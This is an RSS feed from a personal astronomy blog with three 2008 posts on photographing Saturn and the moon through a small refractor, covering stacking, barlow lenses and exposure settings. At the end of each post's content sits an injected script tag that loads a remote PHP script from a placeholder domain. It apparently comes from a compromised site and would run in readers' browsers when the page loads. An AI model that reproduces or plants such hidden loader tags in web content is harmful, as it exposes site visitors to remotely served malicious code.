<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; saturn</title>
	<atom:link href="http://www.anderswallin.net/tag/saturn/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Saturn 24.3.2008</title>
		<link>http://www.anderswallin.net/2008/03/saturn-2432008/</link>
		<comments>http://www.anderswallin.net/2008/03/saturn-2432008/#comments</comments>
		<pubDate>Tue, 25 Mar 2008 21:34:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Astro]]></category>
		<category><![CDATA[saturn]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/03/saturn-2432008/</guid>
		<description><![CDATA[Around 10 images of Saturn stacked with registax. 102mm refractor (f=1000 mm) with a 2x and a 3x barlow stacked between camera and prime focus. This time through the 90-deg diagonal, so it looks flipped up/down compared to the picture a few days ago.]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.anderswallin.net/wp-content/2008_03saturn/saturn2.jpg" /></p>
<p>Around 10 images of Saturn stacked with <a href="http://www.astronomie.be/registax/index.html">registax</a>. 102mm refractor (f=1000 mm) with a 2x and a 3x barlow stacked between camera and prime focus. This time through the 90-deg diagonal, so it looks flipped up/down compared to <a href="http://www.anderswallin.net/2008/03/clear-skies-finally/">the picture a few days ago</a>.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/03/saturn-2432008/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Clear skies - Finally!</title>
		<link>http://www.anderswallin.net/2008/03/clear-skies-finally/</link>
		<comments>http://www.anderswallin.net/2008/03/clear-skies-finally/#comments</comments>
		<pubDate>Fri, 21 Mar 2008 23:11:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Astro]]></category>
		<category><![CDATA[saturn]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/03/clear-skies-finally/</guid>
		<description><![CDATA[It's been cloudy almost every night for about three weeks now, but finally today a half-decent sky-watching night. The moon is full, so my moon pictures were predictably quite bland. I tried to search for some messier objects, but with a poor finder-scope and 25mm being the widest eyepiece that didn't work out too well [...]]]></description>
			<content:encoded><![CDATA[<p>It's been cloudy almost every night for about three weeks now, but finally today a half-decent sky-watching night. The moon is full, so my moon pictures were predictably quite bland. I tried to search for some messier objects, but with a poor finder-scope and 25mm being the widest eyepiece that didn't work out too well (even with <a href="http://www.stellarium.org/">Stellarium</a> on the laptop right beside me...). Here's the best of around 10 shots of Saturn.</p>
<p><img src="http://www.anderswallin.net/wp-content/2008_03saturn/saturn.jpg" /></p>
<p>102mm refractor, f=1000mm (~F/10), 2x Barlow, Canon 20D, 1/3 s exposure at ISO100<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/03/clear-skies-finally/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Saturn</title>
		<link>http://www.anderswallin.net/2008/02/saturn/</link>
		<comments>http://www.anderswallin.net/2008/02/saturn/#comments</comments>
		<pubDate>Sun, 17 Feb 2008 22:44:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Astro]]></category>
		<category><![CDATA[saturn]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/02/saturn/</guid>
		<description><![CDATA[Had hoped to shoot the Pleiades with some longer exposures today, but clouds rolling in prevented that. So some snapshots at ISO100 and 1/4s of Saturn instead. These are 100% crops, so maybe I need to get an adapter for eyepiece-photography for shooting planets at higher magnification? The clouds caused this round halo-effect around the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2008_02saturn/saturn.jpg"><img src="http://www.anderswallin.net/wp-content/2008_02saturn/saturn.jpg" /></a></p>
<p>Had hoped to shoot the Pleiades with some longer exposures today, but clouds rolling in prevented that. So some snapshots at ISO100 and 1/4s of Saturn instead. These are 100% crops, so maybe I need to get an adapter for eyepiece-photography for shooting planets at higher magnification?</p>
<p><a href="http://www.anderswallin.net/wp-content/2008_02saturn/halo.jpg"><img src="http://www.anderswallin.net/wp-content/2008_02saturn/halo.jpg" /></a></p>
<p>The clouds caused this round halo-effect around the moon. By 23:00 it was impossible to shoot stars.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/02/saturn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

